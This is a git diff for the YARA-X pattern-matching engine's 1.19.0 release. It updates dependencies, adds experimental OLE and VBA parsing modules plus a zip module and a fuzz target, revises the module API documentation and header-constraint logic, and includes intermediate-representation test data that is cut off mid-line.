diff --git a/Cargo.lock b/Cargo.lock index 1c0ba391..0c59222e 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -26,6 +26,15 @@ dependencies = [ "memchr", ] +[[package]] +name = "alloca" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5a7d05ea6aea7e9e64d25b9156ba2fee3fdd659e34e41063cd2fc7cd020d7f4" +dependencies = [ + "cc", +] + [[package]] name = "allocator-api2" version = "0.2.21" @@ -309,9 +318,9 @@ dependencies = [ [[package]] name = "bitvec" -version = "1.0.1" +version = "1.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1bc2832c24239b0141d5674bb9174f9d68a8b5b3f2753311927c172ca46f7e9c" +checksum = "ddcec3d12c579d40898fe0a9a358a803c23e9c52ca3c425707f81c9436211837" dependencies = [ "funty", "radium", @@ -512,6 +521,15 @@ dependencies = [ "thiserror 2.0.18", ] +[[package]] +name = "codepage" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48f68d061bc2828ae826206326e61251aca94c1e4a5305cf52d9138639c918b4" +dependencies = [ + "encoding_rs", +] + [[package]] name = "colorchoice" version = "1.0.4" @@ -741,25 +759,24 @@ dependencies = [ [[package]] name = "criterion" -version = "0.5.1" +version = "0.8.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f2b12d017a929603d80db1831cd3a24082f8137ce19c69e6447f54f5fc8d692f" +checksum = "950046b2aa2492f9a536f5f4f9a3de7b9e2476e575e05bd6c333371add4d98f3" dependencies = [ + "alloca", "anes", "cast", "ciborium", "clap", "criterion-plot", - "is-terminal", - "itertools 0.10.5", + "itertools 0.13.0", "num-traits", - "once_cell", "oorandom", + "page_size", "plotters", "rayon", "regex", "serde", - "serde_derive", "serde_json", "tinytemplate", "walkdir", @@ -767,12 +784,12 @@ dependencies = [ [[package]] name = "criterion-plot" -version = "0.5.0" +version = "0.8.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6b50826342786a51a89e2da3a28f1c32b06e387201bc2d19791f622c673706b1" +checksum = "d8d80a2f4f5b554395e47b5d8305bc3d27813bacb73493eb1001e8f76dae29ea" dependencies = [ "cast", - "itertools 0.10.5", + "itertools 0.13.0", ] [[package]] @@ -1776,9 +1793,9 @@ checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695" [[package]] name = "itertools" -version = "0.10.5" +version = "0.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b0fd2260e829bddf4cb6ea802289de2f86d6a7a690192fbe91b3f46e0f2c8473" +checksum = "413ee7dfc52ee1a4949ceeb7dbc8a33f2d6c088194d9f922fb8318faf1f01186" dependencies = [ "either", ] @@ -2241,6 +2258,16 @@ dependencies = [ "sha2", ] +[[package]] +name = "page_size" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30d5b2194ed13191c1999ae0704b7839fb18384fa22e49b57eeaa97d79ce40da" +dependencies = [ + "libc", + "winapi", +] + [[package]] name = "parking_lot" version = "0.12.5" @@ -3396,6 +3423,12 @@ dependencies = [ "serde_json", ] +[[package]] +name = "tinyzip" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6847a2bf223d67c916a25d5fb8d197fc1c7c3205421e05d50f3373e092034146" + [[package]] name = "tokio" version = "1.48.0" @@ -4405,7 +4438,7 @@ dependencies = [ [[package]] name = "yara-x" -version = "1.18.0" +version = "1.19.0" dependencies = [ "annotate-snippets", "anyhow", @@ -4414,6 +4447,7 @@ dependencies = [ "bitflags 2.13.0", "bitvec", "bstr", + "codepage", "const-oid", "crc32fast", "criterion", @@ -4422,6 +4456,8 @@ dependencies = [ "digest", "dsa", "ecdsa", + "encoding_rs", + "flate2", "getrandom 0.2.17", "globwalk", "goldenfile", @@ -4467,6 +4503,7 @@ dependencies = [ "smallvec", "strum_macros", "thiserror 2.0.18", + "tinyzip", "uuid", "walrus", "wasm-bindgen", @@ -4480,7 +4517,7 @@ dependencies = [ [[package]] name = "yara-x-capi" -version = "1.18.0" +version = "1.19.0" dependencies = [ "assert-call", "cbindgen", @@ -4490,7 +4527,7 @@ dependencies = [ [[package]] name = "yara-x-cli" -version = "1.18.0" +version = "1.19.0" dependencies = [ "anyhow", "ascii_tree", @@ -4529,7 +4566,7 @@ dependencies = [ [[package]] name = "yara-x-fmt" -version = "1.18.0" +version = "1.19.0" dependencies = [ "bitflags 2.13.0", "bstr", @@ -4543,7 +4580,7 @@ dependencies = [ [[package]] name = "yara-x-js" -version = "1.18.0" +version = "1.19.0" dependencies = [ "getrandom 0.2.17", "js-sys", @@ -4559,7 +4596,7 @@ dependencies = [ [[package]] name = "yara-x-ls" -version = "1.18.0" +version = "1.19.0" dependencies = [ "async-lsp", "bitflags 2.13.0", @@ -4589,7 +4626,7 @@ dependencies = [ [[package]] name = "yara-x-macros" -version = "1.18.0" +version = "1.19.0" dependencies = [ "darling", "proc-macro2", @@ -4599,7 +4636,7 @@ dependencies = [ [[package]] name = "yara-x-parser" -version = "1.18.0" +version = "1.19.0" dependencies = [ "anyhow", "ascii_tree", @@ -4622,7 +4659,7 @@ dependencies = [ [[package]] name = "yara-x-proto" -version = "1.18.0" +version = "1.19.0" dependencies = [ "base64", "chrono", @@ -4636,7 +4673,7 @@ dependencies = [ [[package]] name = "yara-x-py" -version = "1.18.0" +version = "1.19.0" dependencies = [ "base64", "protobuf", diff --git a/Cargo.toml b/Cargo.toml index a6efa683..cec57450 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,5 +1,5 @@ [workspace.package] -version = "1.18.0" +version = "1.19.0" authors = ["Victor M. Alvarez "] edition = "2024" homepage = "https://virustotal.github.io/yara-x" @@ -39,20 +39,23 @@ ascii_tree = "0.1.1" base64 = "0.22.1" bincode = "2.0.1" bitflags = "2.13.0" -bitvec = "1.0.1" +bitvec = "1.1.1" bstr = "1.12.1" cbindgen = "0.29.4" chrono = "0.4.45" clap = "4.6.1" clap_complete = "4.6.5" +codepage = "0.1.2" const-oid = "0.9.6" crc32fast = "1.5.0" der-parser = "10.0.0" digest = "0.10.7" dsa = "0.6.3" ecdsa = "0.16.9" +encoding_rs = "0.8" env_logger = "0.11.10" figment = "0.10.19" +flate2 = "1.1.5" globwalk = "0.9.1" goldenfile = "1.11.0" getrandom = "0.2.17" @@ -107,12 +110,13 @@ wasm-opt = "0.116.1" wasmtime = { version = "43.0.2", default-features = false } x509-parser = "0.18.0" yansi = "1.0.1" -yara-x = { path = "lib", version = "1.18.0" } -yara-x-fmt = { path = "fmt", version = "1.18.0" } -yara-x-macros = { path = "macros", version = "1.18.0" } -yara-x-parser = { path = "parser", version = "1.18.0" } -yara-x-proto = { path = "proto", version = "1.18.0"} +yara-x = { path = "lib", version = "1.19.0" } +yara-x-fmt = { path = "fmt", version = "1.19.0" } +yara-x-macros = { path = "macros", version = "1.19.0" } +yara-x-parser = { path = "parser", version = "1.19.0" } +yara-x-proto = { path = "proto", version = "1.19.0"} zip = { version = "8.2.0", default-features = false } +tinyzip = "0.4.0" simd-adler32 = "0.3.9" simd_cesu8 = "1.1.1" assert-call = "0.1.2" diff --git a/cli/Cargo.toml b/cli/Cargo.toml index 885081ab..0bbedc2a 100644 --- a/cli/Cargo.toml +++ b/cli/Cargo.toml @@ -53,6 +53,7 @@ anyhow = { workspace = true } ascii_tree = { workspace = true } clap = { workspace = true, features = ["cargo", "derive"] } clap_complete = { workspace = true } +encoding_rs = { workspace = true } figment = { workspace = true, features = ["toml"] } globwalk = { workspace = true } home = { workspace = true } @@ -75,7 +76,6 @@ chardetng = "1.0.0" crossbeam = "0.8.4" crossterm = "0.29.0" dunce = "1.0.5" -encoding_rs = "0.8.35" indicatif = "0.18.4" unicode-width = "0.2.2" wild = "2.2.1" diff --git a/cli/src/commands/dump.rs b/cli/src/commands/dump.rs index 5a79732f..5e615c16 100644 --- a/cli/src/commands/dump.rs +++ b/cli/src/commands/dump.rs @@ -20,6 +20,8 @@ enum SupportedModules { Elf, Pe, Dotnet, + Olecf, + Vba, Crx, Dex, } @@ -119,6 +121,12 @@ pub fn exec_dump(args: &ArgMatches) -> anyhow::Result<()> { if !requested_modules.contains(&&SupportedModules::Dex) { module_output.dex = MessageField::none() } + if !requested_modules.contains(&&SupportedModules::Olecf) { + module_output.olecf = MessageField::none() + } + if !requested_modules.contains(&&SupportedModules::Vba) { + module_output.vba = MessageField::none() + } } else { // Module was not specified, only show those that produced meaningful // results, the rest are cleared out. @@ -145,6 +153,12 @@ pub fn exec_dump(args: &ArgMatches) -> anyhow::Result<()> { if !module_output.dex.is_dex() { module_output.dex = MessageField::none() } + if !module_output.olecf.is_olecf() { + module_output.olecf = MessageField::none() + } + if !module_output.vba.has_macros() { + module_output.vba = MessageField::none() + } } match output_format { diff --git a/docs/ModuleDeveloperGuide.md b/docs/ModuleDeveloperGuide.md index 45ce0279..6bbbf832 100644 --- a/docs/ModuleDeveloperGuide.md +++ b/docs/ModuleDeveloperGuide.md @@ -313,7 +313,7 @@ So, let's create our `lib/src/modules/text.rs` file: use crate::mods::prelude::*; use crate::modules::protos::text::*; -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { let mut text_proto = Text::new(); // TODO: parse the data and populate text_proto. @@ -353,7 +353,7 @@ will be `crate::modules::protos::foobar` Next comes the module's main function and the module registration: ```rust -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { ... } @@ -361,8 +361,8 @@ register_module!("text", Text, main); ``` The module's main function is called for every file scanned by YARA. This -function receives a byte slice with the content of the file being scanned and an -optional byte slice with per-scan metadata, and it returns a `Result` containing the +function receives a mutable reference to a `ModuleContext` and a byte slice with +the content of the file being scanned. It returns a `Result` containing the `Text` structure that was generated from the `text.proto` file (or a `ModuleError`). Registering the module is as simple as calling the `register_module!` macro. @@ -379,7 +379,7 @@ use crate::modules::protos::text::*; use std::io; use std::io::BufRead; -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { // Create an empty instance of the Text protobuf. let mut text_proto = Text::new(); @@ -1093,11 +1093,11 @@ contract as in built-in modules—it receives the scanned data, populates the protobuf, and returns it: ```rust -use yara_x::errors::ModuleError; +use yara_x::mods::prelude::*; fn foobar_main( + _ctx: &mut ModuleContext, data: &[u8], - _meta: Option<&[u8]>, ) -> Result { let mut out = Foobar::new(); out.count = Some(data.len() as u64); diff --git a/examples/custom-module/src/lib.rs b/examples/custom-module/src/lib.rs index 96cb211f..3629f3c6 100644 --- a/examples/custom-module/src/lib.rs +++ b/examples/custom-module/src/lib.rs @@ -19,8 +19,8 @@ pub mod proto { pub use proto::foobar::Foobar; fn foobar_main( + _ctx: &mut ModuleContext, data: &[u8], - _meta: Option<&[u8]>, ) -> Result { let mut out = Foobar::new(); out.count = Some(data.len() as u64); diff --git a/lib/Cargo.toml b/lib/Cargo.toml index 04eebedf..b095c31a 100644 --- a/lib/Cargo.toml +++ b/lib/Cargo.toml @@ -97,7 +97,7 @@ native-code-serialization = [] # This feature is disabled by default. parallel-compilation = ["wasmtime/parallel-compilation"] -# Enables the use of wasmtime's Pulley bytecode interpreter instead of the +# Enables the use of wasmtime's Pulley bytecode interpreter instead of the # default Cranelift JIT compiler. # # When using Cranelift JIT, WebAssembly code generated from rule conditions is @@ -107,7 +107,7 @@ parallel-compilation = ["wasmtime/parallel-compilation"] # natively supported by Cranelift. # # Enabling the `pulley` feature tells wasmtime to interpret the conditions using -# the portable Pulley bytecode instruction virtual machine instead. This +# the portable Pulley bytecode instruction virtual machine instead. This # eliminates JIT memory constraints, improves compilation overhead, and provides # broad portability across architectures. pulley = ["wasmtime/pulley"] @@ -209,6 +209,11 @@ magic-module = [ # The `math` module. math-module = [] +# The `olecf` module +olecf-module = [ + "dep:nom" +] + # The `pe` module parses PE files. pe-module = [ "crypto", @@ -227,6 +232,15 @@ test_proto3-module = [] # conditions of a rule to check against other epoch time. time-module = [] +# The `vba` module +vba-module = [ + "dep:codepage", + "dep:encoding_rs", + "dep:nom", + "dep:tinyzip", + "dep:flate2", +] + # The `vt` module is a VirusTotal-specific module that provides access to # the metadata that VirusTotal has about the scanned file. vt-module = [ @@ -237,6 +251,9 @@ vt-module = [ # AMO module amo-module = ["dep:serde_json_path"] +# The `zip` module provides container file extraction capabilities. +zip-module = ["dep:tinyzip", "dep:flate2"] + # Enables all the default modules. default-modules = [ "amo-module", @@ -249,13 +266,18 @@ default-modules = [ "macho-module", "math-module", "hash-module", + # Still experimental + # "olecf-module", "pe-module", "string-module", "time-module", "lnk-module", + # Still experimental + # "vba-module", "test_proto2-module", "test_proto3-module", "vt-module", + "zip-module", ] # Features that are enabled by default. @@ -276,6 +298,7 @@ bincode = { workspace = true, features = ["serde"] } bitflags = { workspace = true, features = ["serde"] } bitvec = { workspace = true, features = ["serde"] } bstr = { workspace = true, features = ["serde"] } +codepage = { workspace = true, optional = true } const-oid = { workspace = true, optional = true, features = ["db"] } crc32fast = { workspace = true, optional = true } daachorse = { workspace = true } @@ -283,6 +306,8 @@ der-parser = { workspace = true, optional = true, features = ["bigint"] } digest = { workspace = true, optional = true } dsa = { workspace = true, optional = true } ecdsa = { workspace = true, optional = true } +encoding_rs = { workspace = true, optional = true } +flate2 = { workspace = true, optional = true } memmap2 = { workspace = true } indexmap = { workspace = true, features = ["serde"] } intaglio = { workspace = true } @@ -322,6 +347,7 @@ x509-parser = { workspace = true, optional = true } yara-x-macros = { workspace = true } yara-x-parser = { workspace = true, features = ["serde"] } zip = { workspace = true, optional = true, features = ["deflate"] } +tinyzip = { workspace = true, optional = true } simd-adler32 = { workspace = true, optional = true } simd_cesu8 = { workspace = true, optional = true } @@ -349,7 +375,7 @@ protobuf-parse = { workspace = true, optional = true } yara-x-proto = { workspace = true, optional = true } [dev-dependencies] -criterion = "0.5" +criterion = "0.8" globwalk = { workspace = true } goldenfile = { workspace = true } ihex = { workspace = true } @@ -364,4 +390,4 @@ harness = false [[bench]] name = "pe" -harness = false \ No newline at end of file +harness = false diff --git a/lib/fuzz/Cargo.toml b/lib/fuzz/Cargo.toml index bd8bfe7a..38ac86f7 100644 --- a/lib/fuzz/Cargo.toml +++ b/lib/fuzz/Cargo.toml @@ -47,6 +47,12 @@ path = "fuzz_targets/dotnet_parser.rs" test = false doc = false +[[bin]] +name = "vba_parser" +path = "fuzz_targets/vba_parser.rs" +test = false +doc = false + [[bin]] name = "crx_parser" path = "fuzz_targets/crx_parser.rs" diff --git a/lib/fuzz/fuzz_targets/vba_parser.rs b/lib/fuzz/fuzz_targets/vba_parser.rs new file mode 100644 index 00000000..343258f3 --- /dev/null +++ b/lib/fuzz/fuzz_targets/vba_parser.rs @@ -0,0 +1,6 @@ +#![no_main] +use libfuzzer_sys::fuzz_target; + +fuzz_target!(|data: &[u8]| { + let _ = yara_x::mods::invoke::(data); +}); diff --git a/lib/src/compiler/context.rs b/lib/src/compiler/context.rs index 05cd2752..752020cc 100644 --- a/lib/src/compiler/context.rs +++ b/lib/src/compiler/context.rs @@ -127,8 +127,7 @@ impl<'src> CompileContext<'_, 'src> { // If the current symbol table is `None` it means that the // identifier is not a field or method of some structure. return if symbol_table.is_none() { - let module = crate::modules::registered_modules() - .find(|module| module.name() == ident.name); + let module = crate::modules::module_by_name(ident.name); // Build the error for the unknown identifier. let mut err = UnknownIdentifier::build( self.report_builder, diff --git a/lib/src/compiler/ir/mod.rs b/lib/src/compiler/ir/mod.rs index a5dde92a..6ded62fb 100644 --- a/lib/src/compiler/ir/mod.rs +++ b/lib/src/compiler/ir/mod.rs @@ -40,7 +40,7 @@ use std::ops::{Add, Index}; use std::rc::Rc; use bitflags::bitflags; -use bstr::BString; +use bstr::{BString, ByteSlice}; use rustc_hash::FxHasher; use serde::{Deserialize, Serialize}; @@ -1007,9 +1007,22 @@ impl IR { result } - pub fn header_constraints( + /// Determines the constraints on the file header imposed by a rule condition. + /// + /// This function analyzes the rule's condition to determine whether it + /// restricts matching to files that start with a specific sequence of bytes. + /// + /// For example, the condition `uint32(0) == 0x464c457f and $a` requires that + /// the first 4 bytes of the file are `0x7f, 0x45, 0x4c, 0x46` (little-endian). + /// Similarly, `$a at 0` imposes a header constraint if `$a` has a known + /// constant prefix. + /// + /// In contrast, the condition `uint32(0) == 0x464c457f or $a` does not impose + /// a header constraint, since the use of `or` allows files with a different + /// header to also match. + pub fn header_constraints<'a>( &self, - pattern_prefix_lookup: impl Fn(PatternIdx) -> Option>, + pattern_lookup: impl Fn(PatternIdx) -> &'a Pattern, ) -> HeaderConstraint { let mut constrained_bytes = BTreeMap::new(); let mut unsatisfiable = false; @@ -1029,14 +1042,51 @@ impl IR { &mut unsatisfiable, ); } - Expr::PatternMatch { pattern, anchor } => { + Expr::PatternMatch { pattern: pattern_idx, anchor } => { + let pattern = pattern_lookup(*pattern_idx); + // A pattern that has any of these flags it's not eligible + // as a constraint. Modifiers like `xor`, `nocase`, `wide`, + // `base64` and `base64wide` make the bytes that actually + // appear in the data differ from the literal text (they + // are XORed, case-folded, interleaved with zeroes or + // base64-encoded), so no header constraint can be derived + // from them. + let excluded_flags = PatternFlags::Xor + | PatternFlags::Nocase + | PatternFlags::Wide + | PatternFlags::Base64 + | PatternFlags::Base64Wide; + + if pattern.flags().intersects(excluded_flags) { + continue; + } + + // Make sure that if we add a new flag in the future, we + // take it into account here. The new flag either makes + // the pattern ineligible as a header constraint (and must + // be added to `excluded_flags`, or it must be added to + // the list below. + debug_assert_eq!( + excluded_flags.complement(), + PatternFlags::Ascii + | PatternFlags::Fullword + | PatternFlags::Private + | PatternFlags::NonAnchorable + ); + if let MatchAnchor::At(offset_expr) = anchor && let Some(0) = self.get(*offset_expr).try_as_const_integer() - && let Some(prefix_bytes) = - pattern_prefix_lookup(*pattern) + && let Some(pattern_bytes) = match pattern { + Pattern::Text(literal) => { + Some(literal.text.as_bytes()) + } + Pattern::Regexp(re) | Pattern::Hex(re) => { + re.hir.as_literal_bytes() + } + } { - for (i, &b) in prefix_bytes.iter().enumerate() { + for (i, &b) in pattern_bytes.iter().enumerate() { match constrained_bytes.entry(i) { Entry::Occupied(entry) => { if *entry.get() != b { diff --git a/lib/src/compiler/ir/tests/testdata/14.cse.ir b/lib/src/compiler/ir/tests/testdata/14.cse.ir new file mode 100644 index 00000000..1240471e --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/14.cse.ir @@ -0,0 +1,628 @@ +RULE test_1 + 20: FOR_IN -- hash: 0x72bf379da36225e5 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(1) + 1: CONST integer(5) + 19: FOR_IN -- hash: 0xdaad33cf0baf0a64 + n: Var { frame_id: 2, ty: integer, index: 7 } + i: Var { frame_id: 2, ty: integer, index: 8 } + max_count: Var { frame_id: 2, ty: integer, index: 9 } + count: Var { frame_id: 2, ty: integer, index: 10 } + item: Var { frame_id: 2, ty: unknown, index: 11 } + 2: CONST integer(1) + 3: CONST integer(5) + 18: FOR_IN -- hash: 0x497c3d59939269bb + n: Var { frame_id: 3, ty: integer, index: 14 } + i: Var { frame_id: 3, ty: integer, index: 15 } + max_count: Var { frame_id: 3, ty: integer, index: 16 } + count: Var { frame_id: 3, ty: integer, index: 17 } + item: Var { frame_id: 3, ty: unknown, index: 18 } + 4: CONST integer(1) + 5: CONST integer(5) + 17: OR -- hash: 0x12919697ba229f76 + 10: GT -- hash: 0xc0fd295a9fa39fa9 + 8: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 6: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 7: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 9: CONST integer(0) + 13: EQ -- hash: 0xca7652cced0142e6 + 11: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 12: CONST integer(3) + 16: EQ -- hash: 0xdf5816c82bc02f3 + 14: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } + 15: CONST integer(4) + +RULE test_2 + 13: WITH -- hash: 0x862ac2b588220f59 + 0: CONST integer(10) + 12: FOR_IN -- hash: 0xfb8fa06e0ec768d9 + n: Var { frame_id: 2, ty: integer, index: 1 } + i: Var { frame_id: 2, ty: integer, index: 2 } + max_count: Var { frame_id: 2, ty: integer, index: 3 } + count: Var { frame_id: 2, ty: integer, index: 4 } + item: Var { frame_id: 2, ty: unknown, index: 5 } + 1: CONST integer(1) + 2: CONST integer(5) + 11: AND -- hash: 0xf3506d7cd428c254 + 7: EQ -- hash: 0x8d45f5fbc7dba69a + 5: CONST integer(11) + 6: CONST integer(11) + 10: GT -- hash: 0x7fb3c7b6e648fdb1 + 8: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 6 }, type_value: integer(unknown) } + 9: CONST integer(0) + +RULE test_3 + 19: FOR_IN -- hash: 0x9f80cf2da772b9f9 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(0) + 3: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 1: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 2: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 18: AND -- hash: 0x4044f60b2b21d46 + 12: EQ -- hash: 0xd80bb6889bf5d23f + 10: FIELD_ACCESS -- hash: 0xf6f8e9b23f513dd1 + 8: LOOKUP -- hash: 0x7e699c8d78b13901 + 6: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 4: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 5: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } + 7: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 9: SYMBOL Field { index: 0, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 11: CONST string(".text") + 17: GT -- hash: 0xc0fd295a9fa39fa9 + 15: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 13: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 14: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 16: CONST integer(0) + +RULE test_4 + 532: FOR_IN -- hash: 0x9955d895482ac2dd + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(1) + 1: CONST integer(5) + 531: FOR_IN -- hash: 0x39d3fce9735f69cd + n: Var { frame_id: 2, ty: integer, index: 7 } + i: Var { frame_id: 2, ty: integer, index: 8 } + max_count: Var { frame_id: 2, ty: integer, index: 9 } + count: Var { frame_id: 2, ty: integer, index: 10 } + item: Var { frame_id: 2, ty: unknown, index: 11 } + 2: CONST integer(1) + 3: CONST integer(5) + 530: AND -- hash: 0xa6c67725bbf1ce09 + 8: EQ -- hash: 0x8fb6fe40bf072288 + 6: ADD -- hash: 0xe38fe90ae410b35a + 4: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 5: CONST integer(0) + 7: CONST integer(10) + 13: EQ -- hash: 0x7be2178493efe6e0 + 11: ADD -- hash: 0x8c4973b1fbd58946 + 9: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 10: CONST integer(1) + 12: CONST integer(10) + 18: EQ -- hash: 0x680d30c864d8ab38 + 16: ADD -- hash: 0x3502fe590f9a5f32 + 14: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 15: CONST integer(2) + 17: CONST integer(10) + 23: EQ -- hash: 0x54384a0c39c16f90 + 21: ADD -- hash: 0xddbc8900235f351d + 19: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 20: CONST integer(3) + 22: CONST integer(10) + 28: EQ -- hash: 0x406363500eaa33e8 + 26: ADD -- hash: 0x867613a737240b09 + 24: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 25: CONST integer(4) + 27: CONST integer(10) + 33: EQ -- hash: 0x2c8e7c93e392f840 + 31: ADD -- hash: 0x2f2f9e4e4ae8e0f5 + 29: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 30: CONST integer(5) + 32: CONST integer(10) + 38: EQ -- hash: 0x18b995d7b47bbc98 + 36: ADD -- hash: 0xd7e928f55eadb6e0 + 34: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 35: CONST integer(6) + 37: CONST integer(10) + 43: EQ -- hash: 0x4e4af1b896480f0 + 41: ADD -- hash: 0x80a2b39c72728ccc + 39: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 40: CONST integer(7) + 42: CONST integer(10) + 48: EQ -- hash: 0xf10fc85f5e4d4547 + 46: ADD -- hash: 0x295c3e43863762b8 + 44: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 45: CONST integer(8) + 47: CONST integer(10) + 53: EQ -- hash: 0xdd3ae1a33336099f + 51: ADD -- hash: 0xd215c8ea99fc38a3 + 49: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 50: CONST integer(9) + 52: CONST integer(10) + 58: EQ -- hash: 0xc965fae7041ecdf7 + 56: ADD -- hash: 0x7acf5391adc10e8f + 54: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 55: CONST integer(10) + 57: CONST integer(10) + 63: EQ -- hash: 0xb591142ad907924f + 61: ADD -- hash: 0x2388de38c185e47b + 59: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 60: CONST integer(11) + 62: CONST integer(10) + 68: EQ -- hash: 0xa1bc2d6eadf056a7 + 66: ADD -- hash: 0xcc4268dfd54aba66 + 64: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 65: CONST integer(12) + 67: CONST integer(10) + 73: EQ -- hash: 0x8de746b282d91aff + 71: ADD -- hash: 0x74fbf386e90f9052 + 69: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 70: CONST integer(13) + 72: CONST integer(10) + 78: EQ -- hash: 0x7a125ff657c1df57 + 76: ADD -- hash: 0x1db57e2dfcd4663e + 74: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 75: CONST integer(14) + 77: CONST integer(10) + 83: EQ -- hash: 0x663d793a28aaa3af + 81: ADD -- hash: 0xc66f08d510993c29 + 79: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 80: CONST integer(15) + 82: CONST integer(10) + 88: EQ -- hash: 0x5268927dfd936807 + 86: ADD -- hash: 0x6f28937c245e1215 + 84: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 85: CONST integer(16) + 87: CONST integer(10) + 93: EQ -- hash: 0x3e93abc1d27c2c5f + 91: ADD -- hash: 0x17e21e233822e801 + 89: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 90: CONST integer(17) + 92: CONST integer(10) + 98: EQ -- hash: 0x2abec505a764f0b7 + 96: ADD -- hash: 0xc09ba8ca4fe7bdec + 94: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 95: CONST integer(18) + 97: CONST integer(10) + 103: EQ -- hash: 0x16e9de49784db50f + 101: ADD -- hash: 0x6955337163ac93d8 + 99: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 100: CONST integer(19) + 102: CONST integer(10) + 108: EQ -- hash: 0x314f78d4d367967 + 106: ADD -- hash: 0x120ebe18777169c4 + 104: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 105: CONST integer(20) + 107: CONST integer(10) + 113: EQ -- hash: 0xef4010d1221f3dbe + 111: ADD -- hash: 0xbac848bf8b363faf + 109: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 110: CONST integer(21) + 112: CONST integer(10) + 118: EQ -- hash: 0xdb6b2a14f7080216 + 116: ADD -- hash: 